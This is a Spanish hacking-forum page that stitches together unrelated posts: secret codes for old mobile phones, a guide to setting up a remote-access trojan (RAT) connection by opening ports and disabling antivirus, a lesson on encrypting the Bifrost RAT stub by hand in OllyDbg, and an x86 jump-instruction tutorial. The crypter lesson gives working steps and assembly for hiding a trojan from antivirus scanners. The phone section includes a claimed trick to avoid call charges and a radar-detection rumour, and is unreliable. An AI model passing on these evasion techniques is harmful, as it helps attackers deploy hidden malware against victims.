RSSI : ?.?.? RXLEV xxxx rr xxxx rr xxxx rr ... ( podemos obtener más valores pulsando las teclas de volumen laterales. ) ( No escribir los signos de pregunta con los puntos, los puntos estan para que no se formen las animaciones xD, escriban los tres signos de pregunta todo junto )

El primer par XXXX RR indica el canal que estás usando en ese  momento, que normalmente suele ser el más poderoso, los otros están  constantemente en la pantalla.
BSIC ?.?.? C1 xxxx qq xxxx qq xxxx qq ( No escribir los signos de pregunta con los puntos, los puntos estan  para que no se formen las animaciones xD, escriban los tres signos de  pregunta todo junto )
Esto es referido a la calidad de la transmisión. Cuando se vuelve  negativo otra célula es seleccionada, con el valor más alto. Los  primeros son el canal utilizado en ese momento
C2
Parece que da la misma información que el primero.
ARRETS ( paradas, apagar )
Los códigos de las últimas apagadas del teléfono móvil. Códigos: 46  : apagado manual ( pulsando durante un tiempo la tecla OK ) 44 :  apagado programado ( con reloj ). 43 : apagado por extinción de la  batería. 10 : apagado de repente por manipulación de la batería. 45 :  apagado manual cuando la carga está conectada. 00 : fallos internos del  móvil.
VIDER ARRETS ( vaciar la memoria de paradas ) Resetea la lista.
CHARGE AA xxx yyyyy zzz V.VV
AA: código del estado, cambia cuando usamos el cargador.
xxx ?.?.? yyyyy indicación de tiempo desde la última carga. La unidad de tiempo depende del estado. V.VV voltaje de la batería. ( No escribir los signos de pregunta con los puntos, los puntos estan  para que no se formen las animaciones xD, escriban los tres signos de  pregunta todo junto )
DAMIER Chequea el estado del display.
Bloqueo del teclado: Mantener pulsada la tecla NO
Desbloqueo del teclado: Pulsar 159
Alcatel HC 800
Bloqueo del teclado: Pulsar el símbolo X de la tecla de navegación.  Pulsar la tecla que hay debajo de la palabra MENU. Seleccionar la  opción 1, y confirmar con OK.
Sim lock: Introducir la SIM,conectar el terminal e introducir el  PIN, pulsar MENU y avanzar hasta OPERADORES, aceptar. Situarse en la  opción INTRODUZCA CODIGO Introducir el código y pulsar OK, en la  pantalla aparece el mensaje DESACTIVADO.
Alcatel One Touch MAX /Club
Menú secreto del Teléfono: 000000*
Códigos y Trucos Para Celular Nokia
Versión de software: *#682371158412125#
¿Detectan radar los Nokia?
De acuerdo con algunas noticias europeas los móviles Nokia pueden  configurarse para localizar los radares de las brigadas de transito.  Las noticias salidas a público describen como hipotéticamente es  posible hacer que algunos terminales Nokia adviertan a través del  timbre siempre que detectan la frecuencia a que funcionan los radares.  ¿Otro mito urbano o alguna verdad? Interrogado sobre el asunto el  departamento técnico de Nokia calificó la noticia como un "rumor",  remitiendo el esclarecimiento para la administración.
El procedimiento para activar esta función es el siguiente: en la  pantalla inicial elegid la opción menú y después se elige, por este  orden:[Opciones], [Opciones de seguridad], [Grupo cerrado de usuarios],  "Sí", "00000″, "Aceptar". Después hay que volver a la pantalla de  inicio. En pantalla aparece un radar con cinco ceros. Este truco al  parecer no funciona en todos los modelos. Según las noticias cuando el  móvil detecta la proximidad de un radar suena el timbre, como si fuese  una llamada, pero tan solo es un aviso de radar.
Para saber el IMEI
Teclear *#06#. Aparecerá el IMEI en pantalla. Este número es el  mismo que se encuentra en la etiqueta que está en la parte trasera,  cuando quitamos la batería. Para hacer desaparecer el IMEI de la  pantalla pulsar cualquier tecla.
Modos de transmisión y ahorro de baterías:
Los NOKIA tienen 3 métodos de transmisión de voz: el método normal,  el HFR (Half Full Rate) y el EFR (Enhaced Full Rate). El HFR y el EFR  se pueden activar y desactivar con unos códigos. Evidentemente, con  estos trucos sólo ahorraremos batería cuando estemos en conversación,  ya que en espera el teléfono sigue gastando lo mismo. Tras introducir  estos códigos el teléfono se reinicia automáticamente, y tenemos que  volver a introducir el PIN:
Activar EFR (Enhaced Full Rate) – teclear *3370#, lo que hace este  código es que el teléfono emita con una señal más constante, ya que  normalmente los teléfonos GSM sólo emiten hacia la antena cuando éste  detecta que se habla, por eso en ocasiones, parece como si perdiéramos  la última parte de algunas palabras. Si activamos el EFR, la calidad de  sonido aumenta, pero evidentemente el teléfono gasta más batería, hasta  un 5% más. Recomendable activar cuando estemos en lugares con poca  cobertura.
  Desactivar EFR (Enhaced Full Rate) – teclear #3370#, si desactivamos el  EFR, la calidad de sonido disminuye, pero la batería dura como un 5%  más.
Activar HFR (Half Rate Mode) – teclear *4720#, si activamos el HFR,  el teléfono emite la señal en períodos más intermitentes, con lo que la  calidad de sonido baja, y además de forma notable, más que al activar o  desactivar el EFR, por lo que sólo lo recomiendo para cuando estemos  muy justos de batería. No es recomendable activar cuando estemos en  lugares con poca cobertura. Aumenta la duración de la batería hasta un  30%.
Desactivar HFR (Enhaced Full Rate) – teclear #4720#, si desactivamos  el HFR, la calidad de sonido aumenta, pero la batería puede durar un  30% menos
Información de servicio:
Teclear *#92702689#, éste es un menú que se utiliza en los servicios  técnicos de NOKIA. Para movernos por las opciones, utilizamos la misma  que para movernos por los menús, la tecla central con dos flechas. Para  salir de este menú hay que apagar el teléfono. La información que nos  muestra es la siguiente:
  Nº de serie, o IMEI, del teléfono. No es modificable.
  Fecha de fabricación (mes y año). No es modificable.
  Fecha de compra (mes y año). Si esta opción esta en blanco, aparece  "mmyy" y nos ofrece la opción de introducirla. Una vez introducida no  se puede borrar ni modificar (sólo a través del cable de PC y algunos  programas especiales).
  Fecha de la última reparación (mes y año). No es modificable desde el  menú. Si no se ha reparado el teléfono nunca aparece "0000″.
  Transfer User Data? Es para transferir toda la información y  configuración del teléfono a otro modelo compatible a través del puerto  de infrarrojos.
  Life Timer El tiempo que lleva encendido.
Nokia 61xx/ 81xx/ 71xx/ 8210
Para saber la versión del software y la fecha de éste:
  Poner *#0000#. La información que nos muestra es la siguiente:
  V x.xx – Es la versión del software que lleva nuestro teléfono. Hay  varias versiones del software: "5.04″, "5.09″, "5.10″. A veces la  versión de software puede ser actualizada a través de cable de conexión  a PC y los programas adecuados, o lo pueden hacer en un servicio  técnico de NOKIA.
  21-01-00 – Es la fecha de fabricación del software del teléfono.
  NSE-8/9 – Es el código interno de modelo de NOKIA para el 61xx, 71xx, 81xx y 8210.
Nokia 5120/ 5125/ 5160
Para ver el menú y cambiar el alpha tag del teléfono
*3001#12345#
Códigos y Trucos Para Celulares Motorola
Bloqueo del teclado: Pulsar a la vez * y #.
  Desbloqueo del teclado: Pulsar a la vez * y #.
Simlock: Introducir una SIM distinta a la del operador original.  Encender el terminal, introducir el PIN, (pedirá el código Simlock),  introducirlo y pulsar OK.
Para activar los menús RBS(de ingeniería):
Presiona: [pause] [pause] [pause] 1 1 3 [pause] 1 [pause] [ok]
  (pause quiere decir mantener presionado la tecla "*" hasta que "pause" aparece)
  Ya tienes el menú, ahora muévete hasta la opción 'Eng Field Options' las teclas < o > ,y actívalo.
Para desactivar el menú:
Presiona: [pause] [pause] [pause] 1 1 3 [pause] 0 [pause] [ok]
Funciona en 6200′s,8200′s,1-888′s,7500′s,8400′s y StarTacs con versión de software posterior a .27
Las opciones que aparecen en el menú son:
Celda activa:
  RxLev -55 Nivel de energía recibida en dBm
  NCC 0 National Colour Code, se usa para identificar el canal
  BCC 7 Broadcast Colour Code, igual que el anterior
  MSTxPwr 35 Máxima energía transmitida en 35dBm about 3.2W
  C1 003 Controla el nivel de señal si el valor es negativo por más de 5 segundos entocnes el sistema hará un cambio de celda.
  Time Adv xxx xxx is a number. Si multiplicas este número por 550  obtendrás la distancia en mentros de la estación de radio más próxima
Celdas contiguas:
Adj Cell 1
  Channel 0033 Número de canal utilizado en la celda
  RxLev -65 Energía recibida en dBm
  BCCH Decode
  RxLevAM -104 Recepción mínima permitida si la comparamos con RxLev -65  puedes obtener el valor C1 que es(en nuestro caso) 39 y es envíada de  nuevo a la celda para medir la intensidad de la señal.
  MTxPwr 35 Nivel máximo de energía aceptada.
  C1 003 ??
  NCC 0 National Colour Code
  BCC 6 Broadcast Colour Code
Parámetros del sistema:
Combined Off ??
  AcsClas 0000 Permite ciertas prioridades
  MCC 505 Mobile Country Code, 505 para Australia, 240 for suecia...(El de España el 214)
  MNC 01 Mobile Network Code, 01 para Mobilenet, 02 para Optus, 03  paraVodafone, 17 para Movistar, 13 y 14 para Airtel y Amena . MCC+MNC  is often called Network Code
  LAC 08720 Location Area Code, muestra en que zona te encuentras
  CellID 00473 Número de identificación de celda
  T3212 005 Tiempo entre actualizaciones periódicas de la red (no sé si  son las horas entre actualizaciones o lo que falta para la próxima)
  BS-PA-MFRM 4 ??
  XZQTY 14.3 ??
V60i – V120 (Solo para Personal):
Escribir sin demora #7764726# y apretar la tecla "SEND".
  En vez de intentar realizar la llamada, el celular te pedirá el "código  de seguridad". Si nunca lo has cambiado, el código de fabrica es  "000000″.
  Una vez ingresado el código, ir a "configuración NAM".
  Luego seleccionar NAM1.
  Luego seleccionar Nivel 1.
  Luego bajar con el cursor hazta"Etiq doméstico" e ingresar allí el  nombre que deseas poner. Una vez realizado el cambio el teléfono se  reiniciara para guardar la configuración.
  V60i – V60i- V120 (Cambio de nombre en la pantalla):
Escribir sin demora Menú 073887* + nam 1 + nivel 1. Bajar hasta  Etiqueta Doméstica y en ese lugar ingresar lo que quieras que aparezca  en pantalla y aceptas todo.
  Esperas unos segundos y se reinicia con el cambio hecho.
Códigos y Trucos Para Celulares Sony Ericsson
Menú en ingles: *#0000#
Para ver la carga de la batería sin encender el teléfono: Presiona 5 veces la tecla NO algo rápido
Ver los últimos números marcados: YES, o bien 0#
Versión de Software: >*<<*<*
Simlock: Pulsar <**<.
Llamar gratis, peroooo no vale en España: Este truco lo que consigue  es que el teléfono deje de emitir señales al operador y este al pensar  que tenemos el teléfono apagado no nos cobra las llamadas. Pero sí que  puedes usarlo para llamar con el teléfono apagado, aunque te cobren:
Marca el número de teléfono al que quieres llamar y pulsa yes.  (hasta ahora todo igual que siempre) cuando de la señal de llamada  (piiiiiiii-piiiiiiiiii...) pulsa CLR + 0 + # y mantén pulsada la tecla  "NO" y el teléfono móvil se te apagará.
  Para que el teléfono vuelva a ponerse normal tienes que quitar y poner la batería.
Para saber el nivel de batería exacta: Cuando estés apagando el  móvil, aprieta 'NO' rápidamente una vez y espera 2 segundos, la batería  aparecerá en su sitio de siempre
Llamar a un teléfono escrito en un mensaje de texto corto (SMS) sin  escribirlo: Por ejemplo en un mensaje como "Llámame a mi número nuevo  666765432...". Sólo has de leer el mensaje hasta que aparezca en la  pantalla el número de teléfono y después aprieta "yes" para llamar.
Entrar al sistema de modo test del ericsson.
  Con esta función podrás ingresar a los sistemas escondidos de el  ericsson pulsa 923885 menú y listo podes modificar los datos que  quieras en tu celular (ojo nunca des a nadie pero a nadie tu esn que  figura en tu móvil)
Ericsson 768
MENU AMPLIADO Para activar los "menú ampliados" en el Ericsson GF768 hay que seguir estos pasos:
1. MENU GRABAR – YES
2. Metemos un numero -YES
3. Metemos un nombre -YES
4. Ahora nos pide un numero o posición, pulsamos # y nos debe  aparecer un símbolo raro. (Significa que va a grabar la entrada en la  agenda del phone, no de la SIM)
5. Después del símbolo metemos un número de posición de la agenda del phone que tengamos libre.
6. Pulsamos YES y rápidamente la flecha izquierda y sin soltarla  esperamos a que nos aparezca "tamaño menú" ahi soltamos rápidamente y  volvemos a pulsar YES.
7. Ahora nos preguntara "ampliado?" le decimos otra vez YES y ya tenemos el 768 con los menús ampliados
Ericsson 628 Y 688
Para ver el número IMEI: * # 0 6 #
Para ver la versión del Software: -> * <- <- * <- * (siendo <- y -> Las teclas de flecha a izq y drch.)
  En el 688 y 888, para ver la versión del Software: -> * <- <- * <- * CLR
Para leer todos los textos programados: -> * <- <- * <- * ->
Para ver el estado del Lock del operador: < * * < (espera 3s)
Llamada rápida, escribe posición del número en tu agenda y # (ejemplo: 1 5 #)
Llamada rápida al último número: 0 #
Para reestablecer como idioma el inglés: * # 0 0 0 0 #
Para ver el nivel de batería con el teléfono apagado, aprieta on/off(botón "NO") rápidamente.
Para ver menús extendidos: En versiones antiguas ve a "llamadas  perdidas", "directorio vacío" y mantén apretada la tecla de flecha  derecha, elige "tipo de menú".
  En versiones más modernas ve a "Leer", "directorio vacío" y mantén apretado la tecla izquierda, elige "tipo de menú"
Para editar la agenda telefónica elige en el menú extendido "EditPh.Bk".
>*<<*<*> 1-row text strings. If pressing YES you can  check the phones 1-row text programming in currently selected language.
>*<<*<*>> n-row text strings. If pressing YES you  can check the phones n-row text programming in currently selected  language.
Códigos y Trucos Para Celular Siemens
Siemens S3-S4-S6
Visualizar IMEI: Pulsamos MENU, 9 y 8.
Visualizar versión de software: Pulsamos MENU, 9, 8, y tecla de la izquierda dos veces (1 sola vez en el caso del S6).
Bloquear teclado: Seleccionar la opción 3 del MENU (Bloqueo) y  aceptar la opción de Bloqueo de teclado. O bien mantener pulsada la  tecla #.
Desbloqueo del teclado: Lo mismo que para bloquearlo.
Siemens S6 POWER
Visualizar IMEI: *#06#
  Visualizar versión software: Sin la SIM pulsar *#06# y la tecla del menú de la izquierda.
NOTA: Los trucos y códigos mencionados deben ser usados a  conciencia, si no estas seguro de algo no sigas, lo dice la vos de la  experiencia jejeje.
#77
Post editado por 79137913.

Para la solucion redirigirse al post:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Bueno este post los traigo de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta del Moderador p0is0n-123.

Marquemos por puntos como habilitar una conexion limpia para el RAT...

-No-Ip DUC Configurado correctamente
-Puertos Abiertos en Router (Google)
-Puertos Desbloqueados en el PC
-Antivirus/Firewall de Windows o adicional desactivado...
-Cliente/Servidor configurados correctamente

  • No-Ip DUC Configurado correctamente[/b]
    Una vez instalado y estando logueados en el client updater nos vamos a
    Options>Connection

    Nos podemos encontrar con una Imagen asi..Si es el caso seguir leyendo en caso de no serlo saltarse este punto..
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


    • Puertos Abiertos en Router (Google)[/b]
      Este paso no lo voi a explicar ya que solo consiste en ir a google y poner:
      marca y modelo del router + abrir puertos y obtendran miles de tutoriales...
      Es recomendable guardar la configuracion en el router y resetearlo asi como reiniciar la PC...

      • Puertos Desbloqueados en el PC[/b]
        Muchas veces  los puertos estan abiertos pero la conexion se bloquea sola asi podremos pasar este fallo...
        Vamos a conexiones de Red y seleccionamos nuestra conexion activa:
        No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
        Nos situamos...
        No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
        Nos vamos a..
        No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
        No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
        Ahy les abrira un dialogo...

        -Escribiran Nombre /*Un nombre cualquiera por ejemplo indetectables
        -IP /*Pongan su IP Interna
        -Puerto Interno /* el puerto abierto
        -Puerto Externo /* el puerto abierto
        y Marquen la opcion por defecto del dialogo "TCP"
        Para que la configuracion sea correcta..

        -Antivirus/Firewall de Windows o adicional desactivado...
        Deben de asegurarse de desactivar el antivirus totalmente asi como el firewall de windows o otro..
        Para los que usan Nod32 versiones 3.0 o superiores desactiven el firewall ya que cortara la conexion entrante..y el firewall de windows tambien desactivado

        -Cliente/Servidor configurados correctamente
        Chequen la configuracion de su cliente/server muchas veces falla por un password o diferente puerto...

        Esto es todo...espero que les ayudara minimamente chicos ya que hay muchos post "basura" en dudas y preguntas por desmarcar dos opciones o desbloquear un puerto  :smile:

        Saludos,, Cronos !
#78
Ya esta es la tercera clase, os felicito si habéis podido llegar hasta aquí con un profesor tan malo como yo...

Desde ahora empezaremos a practicar... y como su profesor dejo pendiente una explicación de cierta rutina, en cierto stub, aprovechara la clase para explicarla y enseñarles a hacer su propia rutina...

Lo que veremos hoy es conocido como "manual packing" o empaquetamiento manual, en el que lo que haremos será encriptar nuestro ejecutable favorito nosotros mismos directamente con el olly. Pero antes de entrar en el tema explicare la rutina del stub...

Y como seria muy tonto explicar una rutina de un ejecutable sin que los alumnos puedan "sentir que trabajan con el ejecutable" se los adjunto... (Los que entraron al Chat "por obligación" se sentirán algo molestos, pero no se preocupen que casi nadie pasa por este subforo –y probablemente sean recompensados-)

Antes de empezar, veamos un par de APIs que se utilizan aquí y que no se han explicado:

GetModuleHandleA

Obtiene el Handle o manejador de un modulo, siempre y cuando este se encuentre cargado en la memoria.

Código: text

Push @offset nombre del modulo
Call GetModuleHandleA

Returns
La función devolverá el handle del modulo si tiene éxito, de lo contrario devolverá cero

GetProcAddress

Obtiene la dirección de memoria de una función exportada del modulo especificado, siempre y cuando el modulo esté cargado.
Código: text

Push @offset nombre o ordinal de la función
Push Handle del modulo.

Returns
La función devolverá la dirección de memoria de la función. De fallar devolverá cero.

Bien, empecemos... apenas abrimos el ejecutable con el olly caemos en un Pushad



Podríamos explicar la rutina así, pero para hacer las cosas más sencillas utilizaremos el plugin del Olly AnalizeThis! (Si no lo tienen lo encontraran adjunto al final)



Vemos que ha cambiado un poco, pero gracias a ese cambio podemos ver una tabla de texto... si miramos bien podemos deducir que esta obteniendo las direcciones de memoria de las APIs que se mencionan en el  cuadro de texto, y guarda esas direcciones en otro lado, y si nos fijamos bien, esos saltos que están abajo apuntan a hacia donde se guardaron esa direcciones de memoria. Es decir que es como una mini-IAT.



Ahí esta dividido por partes ese código.

En la parte 1 si, se darán cuenta que lo que hace es obtener el Handle o manejador del modulo "Kernel32.dll"

En la parte 2, mete el handle en el stack, pasa al siguiente elemento del cuadro de texto que se ve claramente en la imagen, y si son muy despistados (:ja:), es el que esta marcado con el numero 4. Compara si ese elemento es ultimo de la tabla (6179 son los bytes invertidos de "ya" en ASCII,) y si no lo es, entonces mete el handle de la dll (kernel32) en el stack y mete también, el elemento de la tabla al que apunta EBP para llamar a GetProcAddress, y hacer la mini-IAT.

Luego de eso, chequea el Bit de IsDebuggerPresent.



Y si esta a 1, nos lanzara afuera con un salto condicional que se ve que va directo a ExitProcess. Ahora ustedes dirán: como puede Chequear el Bit de IsDebuggerPresent si no llama a esa API? Pues la respuesta es sencilla, si en el olly oprimen Ctrl. + G y ponen ahí "IsDebuggerPresent" (con sus respectivas mayúsculas, o no funcionara) verán que en el lugar en el que caen, están las mismas primeras tres instrucciones que en la imagen que esta arriba de este párrafo (a excepción del pushad), pero si tenemos suerte, o mejor dicho, algún plugin que modifique ese bit (o lo modifican ustedes mismos), se hará una llamada a GetVersion, a la cual se le machacaran los datos que retorna con un popad y nos iremos en un vertiginoso salto hacia el inicio de la rutina de desencriptado (Al fin!!!)



Ahí vemos otro pushad, y vemos también que empezara a desencriptar desde 401020, que al parecer desencriptara el exe por bloques de 179h bytes y que cada tres bytes los encripta de forma distinta. Al llegar ECX a cero saltara hacia la call que esta abajo del salto incondicional, hacia el inicio del bucle encriptador, veamos que hay dentro de ese call...



Pues, resumiré diciendo que es una rutina basura, en la cual se llama 100 veces a GetModuleHandleA pidiendo el handle o manejador de una dll Inexistente (lolazo.dll para ser mas exactos) y repite el bucle anidado ahí 300 veces (bucle que hace solo push EAX/pop EAX)

Al retornar vemos que se hace una comparación entre lo que hay en EAX y 4075BD, si no es igual nos manda a seguir desencriptando. Con esto sabemos que va a desencriptar hasta esa dirección, pero luego de eso hay un salto que va hacia abajo... veamos que nos depara la rutina por esos lares...



Este trozo de código, lo veremos en dos partes...


Ahí vemos que incrementa en uno el byte almacenado en 4090F5 y lo compara con 91, básicamente es para verificar si se ejecutara la primera parte del código a analizar o la segunda. Primero se ejecutara esta parte, en la que vemos que mueve ciertos valores hacia la rutina de desencriptado, así que lo mejor será ejecutarlo hasta el pushad.

Una vez llegado aquí nos vamos hacia donde empieza la rutina para ver que cambios hizo...



Ahí nos fijamos que ha cambiado las operaciones de la rutina, el antiguo ADD ahora es un XOR, el antiguo ROR ahora es un ROL, y el antiguo XOR ahora es un ADD...

Siguiendo donde estábamos, hay un PUSH 5000 y una llamada a "Sleep", esta API lo que hace es parar la ejecución del programa el tiempo que se le diga, que en este caso son 5000h milisegundos (5000h = 20480d) y se nos manda al inicio de la rutina de desencriptado de nuevo.

Al llegar a desencriptar el byte de la dirección 4075BD vuelve a hacia la rutina que estamos analizando, y el salto decide que se ejecute la segunda parte...



Ahí vemos que cambia de nuevo la rutina, así que ejecutamos para ver que cambios se hacen...



Ahora solo hay dos cambios, el primero es que el antiguo ADD se convirtió en un SUB y el salto que estaba al final de la rutina de desencriptado que nos mandaba al último código analizado, ahora nos manda a 4074ED. Que ciertamente es nuestro entripoint.

Listo... un poco larga la explicación, pero a más de uno le servirá para entender muchas cosas (o eso creo). Ahora pasemos a algo más interesante...

Haciendo Manual-Packing

Yo explicare como hacerlo con el Stub del Bifrost (versión 1.21 desempacada), ustedes pueden hacerlo con el stub que prefieran... (los enlaces de las herramientas utilizadas están al final)

Para no estar trasteando con ningún editor de recursos lo que vamos a hacer es sacar el stub dándole a builder... no importa la configuración que le den, solo denle al botón build que esta abajo a la derecha y les saldrá un mensaje, lo dejaran en el aire, es decir no lo toquen... abran la carpeta donde tienen el bif y copian el ejecutable que se llama Server.exe y lo ponen en otra carpeta, este será el que utilizaremos... ya pueden darle aceptar al cartel y cerrar el cliente y si quieren borrar el Server.exe que esta al lado del cliente (sobra decir que si utilizas otro stub tendrán que sacarlo con el editor de recursos)

Lo que tenemos que hacer ahora es agregar una nueva sección, para esto yo utilizare el Stud_pe, ustedes utilicen el PE Editor que prefieran.

Los que me siguen con el Stud_pe: arrastramos el Stub que acabamos de sacar y nos vamos a la pestaña sections, hacemos click secundario > New Section, y el cuadro que aparece ponemos RAW SIZE: 200 y VIRTUAL SIZE: 1000 (esto es por que en RAW SIZE solo se pueden Poner Múltiplos de 200 y en VIRTUAL SIZE múltiplos de 1000) ahora seleccionamos "fill section with NULL bytes"



Ahora le damos al botón "ADD" y ya tenemos lista la nueva sección, así que abrimos el stub con el olly y nos vamos a donde pusimos la nueva sección.

Para obtener el valor en memoria de la nueva sección lo que tenemos que hacer es sumar el IMAGEBASE y el VIRTUAL OFFSET (normalmente el IMAGEBASE tiene un valor de 400000 en los ejecutables) y la dirección resultante es la que pondremos en el olly. Otra forma de llegar a la dirección virtual de la sección es con el plugin OllyAdvanced en el que se marcara la casilla "enable Advaced Ctrl. + G" y al hacer presionar esa combinación marcamos donde dice offset en el cuadro que nos aparece y ponemos la dirección que nos aparece en RAW OFFSET.

Una vez llegados acá, podremos empezar a escribir código para encriptar, pero deberemos tener en cuenta algo antes de encriptar y eso es la IAT y el IMPORT DESCRIPTOR.

La IAT la hallamos buscando algún call hacia cualquier API, cuando encontremos una miramos la dirección que esta entre corchetes ([]) y nos dirigimos hacia allá en el dump, y nos fijamos donde empieza y donde termina, en este caso empieza en 401000 y termina en 401020 (por eso empezaba a desencriptar desde ahí en la rutina explicada arriba)

Ahora le toca el turno al IMPORT DESCRIPTOR, pero hay dos caminos a recorrer, el primero es que cuando terminemos de encriptar, dumpeemos, con lo cual el plugin OllyDump pondrá un IMPORT DESCRIPTOR en una nueva sección y no habrá que preocuparse por el, pero esto nos aumentara el tamaño (el original es de 23Kb y lo dejara de 41Kb) y el otro camino es hacer "copy to executable" con lo cual mantendremos el tamaño, pero deberemos preocuparnos por el IMPORT DESCRIPTOR así que elijan su camino.

Camino del "Copy to executable": deberemos hallar el IMPORT DESCRIPTOR y para ello nos ayudara el Stud_pe, en la primera pestaña hay una parte que dice "Import table" y tiene su dirección en RVA (Relative Virtual Address), RAW y el tamaño.



Esas direcciones son las del IMPORT DESCRIPTOR y como dije antes, para obtener su dirección virtual, se suma el RVA al IMAGEBASE. Y el resultado es el que se pone en el olly y para nuestra suerte, no hay nada después del IMPORT DESCRIPTOR, así que hasta ahí encriptaremos.

Aquí los caminos se unen...

La encriptación que haremos será una súper básica, pero que como vimos en la rutina explicada al principio, puede mejorarse.

Movemos hacia algún registro de uso general la dirección desde la que empezamos a encriptar...
Código: text

MOV EAX,401020

Encriptamos el byte de la dirección a la que apunta el registro de uso general con cualquier operación matemática o lógica...
Código: text

MOV EAX,401020
SUB BYTE PTR DS:[EAX],51

Incrementamos el valor del registro en uno.
Código: text

MOV EAX,401020
SUB BYTE PTR DS:[EAX],51
INC EAX

Comparamos si se ha llegado hasta donde queremos encriptar (4075f4 si vamos a hacer "copy to executable", hasta el final de la sección si vamos a dumpear)
Código: text

MOV EAX,401020
SUB BYTE PTR DS:[EAX],51
INC EAX
CMP EAX, XXXXX // ustedes ponen el valor dependiendo de lo que van a hacer

Hacemos que si no es igual, siga encriptando.
Código: text

MOV EAX,401020
SUB BYTE PTR DS:[EAX],51
INC EAX
CMP EAX, XXXXX // ustedes ponen el valor dependiendo de lo que van a hacer
JNE @dirección donde esta el SUB

Y por ultimo hacemos que salte al entri point cuando termine de encriptar.
Código: text

MOV EAX,401020
SUB BYTE PTR DS:[EAX],51
INC EAX
CMP EAX, XXXXX // ustedes ponen el valor dependiendo de lo que van a hacer
JNE @dirección donde esta el SUB
JMP 4074ED

Ahora para que de verdad quede encriptado, vamos a hacer lo siguiente, nos paramos donde esta la instrucción MOV hacemos click Secundario y hacemos click en "New origin here" o lo que es lo mismo Ctrl. + *, Ponemos un breakPoint en el salto hacia el entri point y corremos con F9 al parar deberemos tomar la decisión, dumpeamos o no...

Si dumpean, hagan click secundario > "dump debugged process" y solo pongan como entripoint la dirección del MOV (Sin el IMAGEBASE) y guarden con el nombre que prefieran y listo.

Si no dumpean, seleccionen el código recién escrito, hagan click secundario > Copy to executable > selection, para volver al CPU (a ventana donde estábamos trabajando) hacemos click en el botón "C" de la barra de botones, luego vallan a 401000, hagan click normal en la primera instrucción para que se marque y vallan hacia el inicio del IMPORT DESCRIPTOR (4075f4) y presionando shift hacen click ahí donde aparecieron. Ahora de nuevo click secundario > Copy to executable > selection y ahí damos de nuevo click secundario > save file, Guardemos y con el Stud_pe cambiamos el entri point la dirección del MOV (sin el IMAGEBASE) y listo.

ahora despues de guardado lo abrimos de nuevo para que desencripte, es decir lo que tenemos que hacer es cambiar el sub por un add y hacer copy to executable, fin

Bifrost publico desempacado
plugin analizethis
plugin ollyDump
Stud_pe
stub de la explicacion

By: bloodday

Saludos,, Cronos !
#79
Bueno para empezar en la clase anterior quedamos pendientes con los saltos, así que será lo primero que veamos (salten esta parte los que se leyeron "ASM por CaoS ReptantE"), luego veremos algunas APIs de Windows y empezaremos a ver de refilón el debugger.

Instrucciones de salto

El listado de un programa consiste en una sucesión de instrucciones. Sin embargo a la hora de ejecutarlo, la ejecución del mismo no sigue el orden del listado, sino que, de acuerdo con distintas circunstancias y mediante las instrucciones de salto, se interrumpe la ejecución lineal del programa para continuar dicha ejecución en otro lugar del código.
Las instrucciones de salto son básicamente de dos tipos: de salto condicional y de salto incondicional. En el primer tipo, la instrucción de salto suele ponerse después de una comparación y el programa decide si se efectúa o no el salto, según el estado de los flags (excepto en un caso, en el que el salto se efectúa si el valor del registro ECX o CX es cero). En el segundo, el salto se efectúa siempre.

Tipos de salto

Según la distancia a la que se efectúe el salto, estos se dividen en tres tipos: corto, cercano y lejano. También se dividen en absolutos o relativos, según como se exprese en la instrucción la dirección de destino del salto. Como veremos, los saltos cortos y cercanos son relativos, y los largos absolutos. En el salto corto, la dirección de destino se expresa mediante un byte, que va a continuación del código de la instrucción. Este byte contiene un número con signo que, sumado a la dirección de la instrucción siguiente a la del salto, nos da la dirección de destino del mismo. Como este número es con signo, podemos deducir que un salto corto sólo puede efectuarse a una distancia hacia adelante de 127 bytes y hacia atrás de 128. Veamos dos ejemplos de salto corto:

Código: text
:004011E5 83FB05 cmp ebx, 00000005[br]
:004011E8 7505 jne 004011EF[br]
:004011EA C645002D mov [ebp+00], 2D[br]
...[br]
:004011EF 83FB09 cmp ebx, 00000009[br]
:004011F2 72E2 jb 004011D6[br]
:004011F4 58 pop eax


En el primer salto, la dirección de destino es la suma de la dirección de la instrucción siguiente y el desplazamiento: 4011EA+5=4011EF. En el segundo caso, E2 es un número negativo, por lo que la dirección de destino es la de la instrucción siguiente menos la equivalencia en positivo de E2 (1E): 4011F4-1E=4011D6. Estos cálculos, por supuesto, no los hace el programador, que simplemente dirige el salto a una etiqueta para que luego el compilador coloque los códigos correspondientes, pero me ha parecido que valía la pena explicarlo aquí.

- y aquí interrumpo yo de nuevo, nosotros NO trabajaremos desde un compilador, así que no pondremos saltos a etiquetas si no a direcciones de memoria, pero no se preocupen que tampoco tendremos que hacer "cálculos de salto"

El salto cercano es básicamente lo mismo que el salto corto. La diferencia está en que la distancia a que se efectúa es mayor, y no se puede expresar en un byte, por lo que se dispone de cuatro bytes (en programas de 16 bits) que permiten saltos de 32767 bytes hacia adelante y 32768 hacia atrás o de ocho bytes (en programas de 32 bits) que permiten vertiginosos saltos de 2147483647 bytes hacia adelante y 21474836478 bytes hacia atrás.

Código: text
:0040194F 0F8E96000000 jle 004019EB[br]
:00401955 8D4C2404 lea ecx, dword ptr [esp+04][br]
...[br]
:004019CB 0F8566FFFFFF jne 00401937[br]
:004019D1 8D4C240C lea ecx, dword ptr [esp+0C]


En la primera instrucción, la dirección de destino es: 401955+96= 4019EB. En la segunda la dirección es: 4019D1-9A= 401937. Fijaos en que los bytes que indican el desplazamiento están escritos al revés y que 9A es la equivalencia en positivo de FFFFFF66.

Los saltos largos se utilizan cuando la instrucción de destino está en un segmento distinto al de la instrucción de salto.

Código: text
:0003.0C28 2EFFA72D0C jmp word ptr cs:[bx+0C2D]


Saltos Condicionales

Las instrucciones de salto condicional sólo admiten los formatos de salto corto y salto cercano, por lo que su código está formado por el código de la instrucción más un byte (cb), un Word (cw) o un doubleword (cd) que determinan el desplazamiento del salto.

Aquí tenéis una relación de las instrucciones de salto condicional, desglosadas según el tipo de salto, en la que pueden apreciarse las equivalencias entre instrucciones de nombre distinto pero idéntica función.

Código: text
 JA       Si es superior (CF=0 y ZF=0)
JNBE       Si no es inferior o igual (CF=0 y ZF=0)

